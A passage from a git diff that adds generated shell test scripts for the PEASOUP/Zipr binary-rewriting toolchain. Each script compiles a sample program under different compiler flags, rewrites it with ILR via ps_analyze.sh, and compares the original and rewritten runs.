+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.no_optflag.no_pic.-fomit-frame-pointer.-g.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.no_optflag.no_pic.-fomit-frame-pointer.-g.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..1514960d424ba72bab12439378c07dfc5897921f
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.no_optflag.no_pic.-fomit-frame-pointer.-g.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles     -fomit-frame-pointer -g -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles     -fomit-frame-pointer -g -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.no_optflag.no_pic.-fomit-frame-pointer.-g.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.no_optflag.no_pic.-fomit-frame-pointer.-g.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..2e7c09d27bc4af602d9f266a67eaeeec37a561dd
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.no_optflag.no_pic.-fomit-frame-pointer.-g.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles     -fomit-frame-pointer -g -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles     -fomit-frame-pointer -g -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.no_optflag.no_pic.-fomit-frame-pointer.no_debug.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.no_optflag.no_pic.-fomit-frame-pointer.no_debug.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..f7ce3fa600980f04822d77296e32a35dc02cd527
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.no_optflag.no_pic.-fomit-frame-pointer.no_debug.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles     -fomit-frame-pointer   -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles     -fomit-frame-pointer   -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.no_optflag.no_pic.-fomit-frame-pointer.no_debug.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.no_optflag.no_pic.-fomit-frame-pointer.no_debug.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..a28f1a2a3f4faaf99b6e1f4c96870d8100d80400
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.no_optflag.no_pic.-fomit-frame-pointer.no_debug.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles     -fomit-frame-pointer   -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles     -fomit-frame-pointer   -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.no_optflag.no_pic.no_omit-fp.-g.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.no_optflag.no_pic.no_omit-fp.-g.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..ea88c1b25f3a55736fa625ea98f8b1104f904df2
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.no_optflag.no_pic.no_omit-fp.-g.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles       -g -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles       -g -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.no_optflag.no_pic.no_omit-fp.-g.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.no_optflag.no_pic.no_omit-fp.-g.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..a110f19dfb95645355eb5ad1d213fdabfcea594e
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.-nostartfiles.no_optflag.no_pic.no_omit-fp.-g.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles       -g -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles       -g -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
